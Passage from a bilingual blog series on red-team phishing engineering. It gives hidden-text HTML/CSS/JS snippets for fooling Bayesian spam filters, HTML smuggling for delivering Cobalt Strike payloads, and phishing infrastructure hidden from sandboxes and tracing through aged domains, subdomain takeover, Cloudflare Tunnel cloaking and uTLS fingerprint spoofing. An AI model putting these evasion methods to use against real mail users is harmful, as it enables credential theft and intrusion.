&lt;p&gt;When the combined score is pulled below the intercept threshold, the system classifies the mail as ham.&lt;/p&gt;
&lt;p&gt;From engineering practice, the dilution volume follows a ratio-based formula. TaiGong configures three dilution tiers:&lt;/p&gt;
&lt;p&gt;| Level | DilutionRatio | Applicable scenario |
| :-- | :-- | :-- |
| Light | 2.0 | Consumer mail (Gmail / Outlook) |
| Standard | 5.0 | Enterprise mail environments |
| Aggressive | 10.0 | High-defense targets (finance, SOEs) |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_008.CTNsKIW5_7tKJY.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;3.2 Seven Text Injection Techniques&lt;/h4&gt;
&lt;p&gt;Ordered from lowest to highest detection difficulty:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#1 HTML comment region&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;!-- quarterly budget review meeting scheduled for next Thursday --&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Comment-region injection is the most basic—write words inside &lt;code&gt;&amp;#x3C;!-- --&gt;&lt;/code&gt;. Modern gateways usually strip comments during tokenization; this only works on a minority of legacy systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#2 Same-color micro font&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;span style=&quot;font-size:1px;color:#ffffff&quot;&gt;budget allocation approved&amp;#x3C;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS sets font size to 1px and color equal to the background. Effective on simple gateways; advanced ones that audit visible-character ratios will penalize it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#3 &lt;code&gt;overflow:hidden&lt;/code&gt; and zero-height containers&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;div style=&quot;height:0;overflow:hidden;max-height:0;opacity:0&quot;&gt;
  team meeting scheduled for Thursday
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;overflow:hidden&lt;/code&gt; plus zero-height (&lt;code&gt;height:0; max-height:0; opacity:0&lt;/code&gt;) is more stable than a single hide style and behaves consistently across environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#4 ARIA semantic hiding&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;span aria-hidden=&quot;true&quot; role=&quot;presentation&quot; style=&quot;position:absolute;left:-9999px&quot;&gt;
  project milestone review
&amp;#x3C;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Accessibility attributes can hide content: &lt;code&gt;aria-hidden=&quot;true&quot; role=&quot;presentation&quot;&lt;/code&gt; with absolute positioning at &lt;code&gt;left:-9999px&lt;/code&gt;. Screen readers skip it, but text-extracting gateway engines still read it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#5 MIME &lt;code&gt;multipart/alternative&lt;/code&gt; differential injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Composite messages use a &lt;code&gt;multipart/alternative&lt;/code&gt; structure: put long benign text in &lt;code&gt;text/plain&lt;/code&gt;, real content in HTML. Gateways often first-pass only the plain part for performance—the first scoring round is already dragged down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#6 CSS pseudo-element &lt;code&gt;content&lt;/code&gt; injection&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;style&gt;
.d1::after { content: &quot;budget allocation quarterly review&quot;; }
.d2::before { content: &quot;team meeting scheduled for Thursday afternoon&quot;; }
&amp;#x3C;/style&gt;

&amp;#x3C;div class=&quot;d1&quot;&gt;&amp;#x3C;/div&gt;

&amp;#x3C;div class=&quot;d2&quot;&gt;&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;::before&lt;/code&gt; / &lt;code&gt;::after&lt;/code&gt; injection is harder to detect. Dilution lives in the stylesheet &lt;code&gt;content&lt;/code&gt; property; ordinary extractors only read DOM &lt;code&gt;textContent&lt;/code&gt; and never see CSSOM computed values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#7 JavaScript delayed rendering&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;div id=&quot;dilution_container&quot; style=&quot;display:none&quot;&gt;...&amp;#x3C;/div&gt;

&amp;#x3C;script&gt;
setTimeout(function() {
  document.getElementById(&apos;dilution_container&apos;).style.display = &apos;block&apos;;
}, 5000);
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS delayed rendering is the detection-difficulty ceiling. The container starts hidden; JS reveals it after several seconds. Gateways generally do not wait for JS execution, so those tokens are ignored at scan time while the user client still renders them.&lt;/p&gt;
&lt;h4&gt;3.3 Corpus Selection&lt;/h4&gt;
&lt;p&gt;The corpus has three layers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 1 — General business (base ~500 entries)&lt;/strong&gt;: pure commercial copy—project approvals, meeting notices, etc. (e.g. “This quarter’s financial budget has been submitted for review”).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 2 — Industry-specific (~200 entries)&lt;/strong&gt;: phrase sets tuned per industry, because the target industry’s gateway already routinely releases such terms as very high-ham features.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 3 — Dynamically generated&lt;/strong&gt;: call an LLM for the day’s or week’s business/political headlines and assemble scene-matched templates—possibly enough to slip past gateway cache lists.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Token selection criteria&lt;/strong&gt;: SpamAssassin score negative, length over 5 characters, no URL links—all three required.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 Unfinished Dimension Three: HTML5 Smuggling at the Traffic Layer&lt;/h3&gt;
&lt;p&gt;After bypassing gateway content filters, delivering executables (e.g. Cobalt Strike payload) still requires defeating network-traffic and attachment-feature detection.&lt;/p&gt;
&lt;p&gt;HTML5 Smuggling offers a traffic-layer evasion idea: construct the file in the victim’s local browser memory rather than transmitting it directly over the wire.&lt;/p&gt;
&lt;p&gt;No solid implementation path has been found yet for this goal; for now it remains a concept, so it is not expanded further. Search the relevant keywords for concrete techniques.&lt;/p&gt;
&lt;h4&gt;4.1 Landing-Page Adversarial Use&lt;/h4&gt;
&lt;p&gt;In TaiGong operations so far, practice is semantic dilution combined with the landing page.&lt;/p&gt;
&lt;p&gt;Results are only moderate. The ideal end state would be: after the victim clicks into the landing page, the backend runs Smuggling while stuffing large amounts of benign business disclaimer–style ham text toward the gateway, effectively blocking security policy crawling and URL reputation marking.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 Closing&lt;/h3&gt;
&lt;p&gt;Judging from open-source products, strategies are largely similar; it is unclear how far closed-source appliances will evolve once LLMs participate.&lt;/p&gt;
&lt;p&gt;The more fundamental defensive line remains on the endpoint.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;References:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Proofpoint: Introduction to HTML Smuggling,&lt;/em&gt; https://www.proofpoint.com/us/blog/threat-insight/introduction-html-smuggling&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Proofpoint: HTML Smuggling Evolves - Threat Actor Adoption and Detection,&lt;/em&gt; https://www.proofpoint.com/us/blog/threat-insight/html-smuggling-evolves&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;SpamAssassin Bayes Scoring Documentation,&lt;/em&gt; https://cwiki.apache.org/confluence/display/SPAMASSASSIN/Bayes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Documentation: Statistics and Bayes,&lt;/em&gt; https://rspamd.com/doc/configuration/statistic.html&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Microsoft 365 Defender Anti-Phishing Policy Reference,&lt;/em&gt; https://learn.microsoft.com/en-us/defender-office-365/anti-phishing-policies-about&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;IcedID Banking Trojan Leveraging HTML Smuggling (2021),&lt;/em&gt; https://www.mcafee.com/blogs/other-blogs/mcafee-labs/icedid-banking-trojan-uses-html-smuggling-technique/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;SpamAssassin Bayes Plugin source&lt;/em&gt; https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/Bayes.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;SpamAssassin CombineChi source:&lt;/em&gt; https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Bayes/CombineChi.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Bayes classifier source:&lt;/em&gt; https://github.com/rspamd/rspamd/blob/master/src/libstat/classifiers/bayes.c&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Neural Network plugin source:&lt;/em&gt; https://github.com/rspamd/rspamd/blob/master/src/plugins/lua/neural.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Neural Network providers (LLM):&lt;/em&gt; https://github.com/rspamd/rspamd/blob/master/lualib/plugins/neural/providers/llm.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Tokenizer source:&lt;/em&gt; https://github.com/rspamd/rspamd/blob/master/src/libstat/tokenizers/tokenizers.c&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rspamd Bayes autolearn:&lt;/em&gt; https://github.com/rspamd/rspamd/blob/master/lualib/lua_bayes_learn.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;SpamAssassin NeuralNetwork Plugin source:&lt;/em&gt; https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/NeuralNetwork.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Haraka Plugin Ecosystem:&lt;/em&gt; https://github.com/haraka/Haraka&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;yangdongchao/mailscanner (Python ML):&lt;/em&gt; https://github.com/yangdongchao/mailscanner&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series Navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-3-bayes-nlp.md&quot;&gt;Part 3: Bayes &amp;#x26; NLP Content Adversarial&lt;/a&gt; ← this post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>邮件钓鱼攻防工程·2：不可溯源的基础设施</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-2-opsec-infra</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-2-opsec-infra</guid><description>从域名信誉、Cloudflare Tunnel、TLS 指纹到探针，讲清高隐匿钓鱼基础设施怎么搭。</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;首发至公众号：Yofune安全研究 欢迎关注。&lt;/p&gt;
&lt;h2&gt;隐匿与对抗——构建不可溯源的基础设施&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列的第二篇。上一篇我们拆解了传统钓鱼框架（GoPhish）的架构债务与检测面。这一篇深入基础设施层，从域名获取、网络拓扑、TLS指纹到探针，逐层拆解如何构建一套经得起威胁情报溯源、沙箱分析的基础设施。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;0x01 基础设施的生存窗口&lt;/h3&gt;
&lt;p&gt;基于OPSEC守则红蓝对抗中基础设施的存活时间决定成败因素。用一台公网IP裸奔的VPS，挂一个刚注册12小时的域名，HTTPS还是自签证书——可以设想一下没有更改过特征的原生CS，这套设施的生存周期通常不超过10分钟。现代企业的纵深防御体系拥有多维度情报源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;邮件网关（SEG）&lt;/strong&gt;：国内主流邮件安全网关（奇安信邮件安全网关、深信服邮件安全网关、Coremail论客）的域名信誉模块会综合域名注册时长、发信历史、SPF/DKIM配置状态等维度打分。网易企业邮、腾讯企业邮等云端服务则内置了基于发信行为画像的反垃圾引擎，对注册不足30天的新域名默认增加风险权重。国际厂商如Proofpoint TRAP（实时关联域名信誉与URL分类）、Spamhaus DBL的域名黑名单在国内也有一定部署，主要用于在华外企和跨国企业。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网络边界&lt;/strong&gt;：下一代防火墙（华为HiSec、深信服AF、奇安信智慧防火墙）和上网行为管理设备（深信服AC、网康）的TLS解密模块可提取Client特征。国内多数甲方企业采购上网行为管理时已附带SSL审计功能，虽然性能损耗显著，但一个配置了SSL审计的网络出口确实能够生成JA3/JA4指纹用于识别非浏览器自动化工具。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;端点与沙箱&lt;/strong&gt;：国内EDR市场以奇安信天擎、深信服EDR、火绒企业版等等。邮件沙箱方面，奇安信天眼沙箱、微步在线OneSandbox（国内沙箱即服务代表）、安恒威胁情报沙箱等安全厂商的设备能力均会对邮件中的URL执行headless浏览器爬取，提取DOM结构和JavaScript探针返回内容。部分厂商沙箱已支持Chromium内核完整JavaScript执行（猜测？不确定）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;威胁情报中心&lt;/strong&gt;：国内SOC团队常用的CT日志监控路径与海外不同，相比较直接订阅国外大厂的安全情报API实时推送在国内网络环境下不稳定，主流做法是通过奇安信威胁情报中心、微步在线ThreatBook的域名监控服务，设置与组织域名相似的新注册域名告警规则。阿里云和腾讯云DNSPod也提供了面向企业客户的域名注册监测API。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;设施即第一要素，这就意味着，面向实战的钓鱼演练平台必须在架构上将&lt;strong&gt;反溯源&lt;/strong&gt;和&lt;strong&gt;高隐匿&lt;/strong&gt;作为第一等优先措施。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 域名信誉工程：从获取到养护&lt;/h3&gt;
&lt;p&gt;基础设施的第一步不是买服务器，是买域名。域名的信誉级决定了邮件能否通过SEG的第一道关卡。&lt;/p&gt;
&lt;h4&gt;2.1 抛弃新域名，拥抱老域名&lt;/h4&gt;
&lt;p&gt;红队常见错误：为某次行动注册一个 &lt;code&gt;corp-login-update.com&lt;/code&gt; 这样的新域名。致命问题在于域名年龄太短。有些安全厂商明确的会把域名注册时长当作核心因素之一。新域名注册后立刻发送含链接邮件，大概率进入垃圾箱或被直接隔离（550 5.7.1）。这一点在国内的189邮箱，136邮箱，163邮箱上都有经历。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实战获取策略：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;老域名收购。&lt;/strong&gt; 寻找已有数年历史、被域名注册商归类为&quot;科技&quot;或&quot;商业&quot;的正常域名，因为忘记续费而进入冷却期间。这类域名自带初始信誉。据The Record报道（2024年），某9年历史的老域名 &lt;code&gt;digitalscrapbookingfreebies.com&lt;/code&gt; 冷却后被钓鱼团伙重新注册，成功绕过某州卫生机构的邮件网关。域名年龄数据来自Whois历史记录，信誉分数则继承自域名的DNS解析历史和SSL证书签发连续性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;子域名接管。&lt;/strong&gt; 2024年2月，Guardio Labs研究员Nati Tal和Oleg Zaytsev揭露了代号&quot;ResurrecAds&quot;的大规模子域名接管活动（参见Guard.io研究论文）。攻击者扫描大型企业（MSN、VMware、McAfee、Cornell University、UNICEF等）的过期CNAME记录——例如 &lt;code&gt;marthastewart.msn.com&lt;/code&gt; 的CNAME指向一个已废弃22年的域名 &lt;code&gt;msnmarthastesweeps.com&lt;/code&gt;。重新注册该域名后，即可用 &lt;code&gt;@marthastewart.msn.com&lt;/code&gt; 发信，直接继承MSN的顶级信誉。该活动高峰期每日发送约500万封恶意邮件，使用约22,000个唯一IP地址（含住宅ISP代理），每个劫持域名仅使用1-2天即轮换。Guardio Labs提供了免费检测工具（checker.guard.io）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;同态形似词（Homoglyph）与Punycode。&lt;/strong&gt; 利用Unicode字符视觉混淆——拉丁字母 &lt;code&gt;a&lt;/code&gt; (U+0061) 与西里尔字母 &lt;code&gt;а&lt;/code&gt; (U+0430)，拉丁字母 &lt;code&gt;o&lt;/code&gt; (U+006F) 与希腊字母 &lt;code&gt;ο&lt;/code&gt; (U+03BF)。现代浏览器（Chrome 58+、Firefox 58+、Edge）对跨脚本混合有Punycode自动显示机制：当域名包含不同Unicode脚本集的字符时，地址栏强制展示 &lt;code&gt;xn--&lt;/code&gt; 编码形式。但2025年腾讯云安全团队的研究指出，单一脚本内（如全日语Hiragana字符集内）的同形混淆仍能绕过浏览器检测——例如用 &lt;code&gt;ん&lt;/code&gt; (U+3093) 替代 &lt;code&gt;/&lt;/code&gt;，构造 &lt;code&gt;https://account.booking[.]comんdetail&lt;/code&gt; 这种在视觉上看起来像子目录结构的钓鱼URL。（至今仍然活跃在在Web3的攻击事件中）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;蓝队对策&lt;/strong&gt;：利用 &lt;code&gt;confusables-inspector&lt;/code&gt;（GitHub开源工具，2025年6月更新）自动检测同形字符；在SEG侧对邮件正文中所有URL进行Punycode解码检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2 邮件认证协议的正确配置&lt;/h4&gt;
&lt;p&gt;SPF、DKIM、DMARC已是必选项而非可选项。如果想让钓鱼邮件进入受害者收件箱，这是条件之一。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SPF的&lt;/strong&gt;&lt;code&gt;include:&lt;/code&gt;&lt;strong&gt;链劫持&lt;/strong&gt;：SubdoMailing活动展示了SPF的&lt;code&gt;include:&lt;/code&gt;机制可作为攻击面——当企业SPF记录引用了一个已废弃的外部域名，攻击者注册该域名后即可注入恶意内容。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DKIM的选择长度&lt;/strong&gt;：建议使用rsa-sha256且密钥长度至少2048位。1024位密钥面临暴力破解风险（参考CVE-2023-50387中DNSSEC密码学分析的前车之鉴）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DMARC策略&lt;/strong&gt;：自建邮件网关中 这是不可或缺的一部分。应将DMARC设为 &lt;code&gt;v=DMARC1; p=reject;&lt;/code&gt;——这看似严苛的策略反而增加了域名的&quot;可信度&quot;，因为显得域名所有者非常重视邮件安全。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 网络拓扑：别让蓝队摸到你的真实IP&lt;/h3&gt;
&lt;p&gt;长久以来，直接将钓鱼平台的公网IP写入域名A记录意味着：蓝队可封禁IP、扫描开放端口、通过ASN溯源VPS供应商并向IDC提交Abuse投诉封机，这一点在国内云依然有效，参考华为云/腾讯云/ 阿里云 的策略，不仅有来自内部的扫描封机，外部同样如此。&lt;/p&gt;
&lt;h4&gt;3.1 Cloudflare Tunnel：从被动入站到主动出站&lt;/h4&gt;
&lt;p&gt;当初在构建TaiGong项目的时候这一点也是参考了一些国外的技术文章，总的来说就是利用隧道技术完成对整个基础设施的隐藏。Nginx在一定程度上能力有限，于是我们摒弃传统反向代理，全面采用Cloudflare Tunnel。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;/strong&gt; 在服务器本地运行 &lt;code&gt;cloudflared&lt;/code&gt; 守护进程，主动向Cloudflare边缘节点发起出站HTTP/2或QUIC长连接（默认连接到7844端口）。服务器不需要开放任何入站端口——防火墙安全组可以配置为&quot;拒绝所有入站流量&quot;。当请求到达Cloudflare边缘节点时，通过已建立的隧道复用流将请求透传至本地回环地址（&lt;code&gt;127.0.0.1:80&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心收益：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| 维度 | 传统反向代理 | Cloudflare Tunnel |
| :-- | :-- | :-- |
| 入站端口 | 必须开放80/443 | 无需任何入站端口 |
| IP隐匿 | CDN兜底，但源站IP可能被网络测绘引擎（FOFA、ZoomEye、Shodan）历史数据扒出 | 物理级隐藏，测绘引擎只能扫到 CF 节点 IP |
| ICP备案 | 国内云服务器未备案域名会被 ISP 网络层 RST 阻断 | 出站流量不受 Host 头嗅探影响，可穿透 |
| DDoS防护 | 依赖前置 CDN | CF 边缘天然抗 D |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CDN前置鉴权：&lt;/strong&gt; 仅靠Tunnel还不够——蓝队拿到域名后仍可用脚本进行请求调用，导致数据库产生大量脏数据，据此可以参考Cs伪装上线一样的反制手法。TaiGong的解决方案是结合Cloudflare Transform Rules：在边缘节点为所有合法请求注入自定义Header，后端的TaiGong引擎只在验证Header正确后才返回钓鱼页面。没有令牌的请求（测绘引擎、沙箱爬虫、直接扫描）被302重定向到无害目标（如 &lt;code&gt;https://www.baidu.com&lt;/code&gt;），从根源上尽量避免空间引擎扫描以及溯源追踪。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;蓝队对策&lt;/strong&gt;：检测异常高频出站连接到 &lt;code&gt;[IP范围]:7844&lt;/code&gt;（Cloudflare Tunnel端口），通过流量设备识别Tunnel特征流量，关注观察请求包中的不常见头信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3.2 边缘层环境感知过滤&lt;/h4&gt;
&lt;p&gt;在Cloudflare Workers或Edge Functions实现第一道过滤逻辑，基于请求特征选择性回源：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ASN黑名单&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;ASN黑名单：过滤云服务商和安全公司的ASN——这些IP段几乎不可能是真实受害者。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;- 阿里云（AS45102、AS37963）：国内最大的公共云，覆盖华东1/2、华北1/2/3、华南1等地域，几乎所有的国内商业SEG沙箱和第三方邮件安全服务商的爬虫节点都部署在阿里云上。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;- 腾讯云（AS45090、AS132203）：腾讯云公网出口，腾讯企业邮和微信企业邮箱的安全检测模块的沙箱流量从此出站。&lt;/p&gt;
&lt;p&gt;- 华为云（AS55967）：华为云公网出口，部分政企客户的邮件安全。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安全厂商ASN：奇安信深信服、知道创宇扫描节点IP段——这些厂商的邮件沙箱和威胁情报爬虫通常有固定的出口IP段，但是我并没有找到具体CIDR范围。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以上参考资料均来源于：https://bgp.tools/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;Bot Management Score&lt;/strong&gt;：利用Cloudflare的Bot Management引擎，对分数低于30的请求返回虚假内容。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Geo-IP限制&lt;/strong&gt;：根据演练目标受众的地理位置限制来源国家，如果你已知目标的IPC范围地址，那么可以直接限制到市以内，超出范围的请求直接丢弃。（类似后文实现的地理围栏功能，如果使用CDN的话就可以直接实现。）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 TLS指纹对抗：JA3/JA4与uTLS逃逸&lt;/h3&gt;
&lt;p&gt;这部分是攻防博弈中最底层的技术细节——TCP/IP之上的第一层。&lt;/p&gt;
&lt;h4&gt;4.1 ClientHello指纹原理&lt;/h4&gt;
&lt;p&gt;客户端发起HTTPS连接时发送ClientHello报文，包含TLS版本、密码套件（Cipher Suites）、扩展列表（Extensions）、椭圆曲线（Elliptic Curves）、压缩方法等字段。不同软件栈发送的ClientHello结构存在固定差异：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA3&lt;/strong&gt;（Salesforce 2017提出）：将特定字段串联后MD5哈希，生成32字符指纹。例如Go的默认JA3指纹为 &lt;code&gt;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA4&lt;/strong&gt;（FoxIO 2023提出）：更结构化的分级指纹方案，格式为 &lt;code&gt;t13i&amp;#x3C;cs&gt;_&amp;#x3C;ext&gt;_&amp;#x3C;groups&gt;&lt;/code&gt;，移除了MD5哈希，支持对TLS握手的两侧分别指纹化（JA4 Server / JA4 Client / JA4S / JA4XSS等）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果使用 Go 标准库 &lt;code&gt;net/http&lt;/code&gt; 或 &lt;code&gt;gomail&lt;/code&gt; 发起请求，网络流量携带Go独有的JA3/JA4指纹。（开源方案如Zeek的ja4 plugin、Suricata的JA3支持；国内商业方案如奇安信天眼、绿盟NTA、科来网络分析系统的TLS指纹检测模块，还有部分厂商的全流量设备等）在边界看到陌生的外联IP正频繁特定的指纹包进行TLS握手，且行为类似POST凭证收集，可立刻阻断。&lt;/p&gt;
&lt;h4&gt;4.2 uTLS浏览器模仿&lt;/h4&gt;
&lt;p&gt;TaiGong借鉴了 &lt;code&gt;refraction-networking/utls&lt;/code&gt;（GitHub，Go 1.21+）的方案。uTLS是Go &lt;code&gt;crypto/tls&lt;/code&gt; 的fork，允许程式化地对ClientHello进行精确控制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;预置浏览器模板&lt;/strong&gt;：&lt;code&gt;HelloChrome_Auto&lt;/code&gt;、&lt;code&gt;HelloFirefox_Auto&lt;/code&gt;、&lt;code&gt;HelloSafari_16_0&lt;/code&gt;、&lt;code&gt;HelloIOS_14&lt;/code&gt; 等，精确模仿对应浏览器的密码套件顺序、扩展列表和椭圆曲线组合。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;随机化指纹&lt;/strong&gt;：&lt;code&gt;HelloRandomized&lt;/code&gt; 从uTLS所有支持的密码套件和扩展中随机选取组合，适用于绕过黑名单式检测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;自定义指纹&lt;/strong&gt;：&lt;code&gt;HelloCustom&lt;/code&gt; 允许完全手动构建ClientHello——可以先捕获真实浏览器的ClientHello报文（通过tcpdump或Wireshark），然后用 &lt;code&gt;Fingerprinter.FingerprintClientHello()&lt;/code&gt; 反向解析为uTLS配置，再 &lt;code&gt;ApplyPreset()&lt;/code&gt; 实现精确复制。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
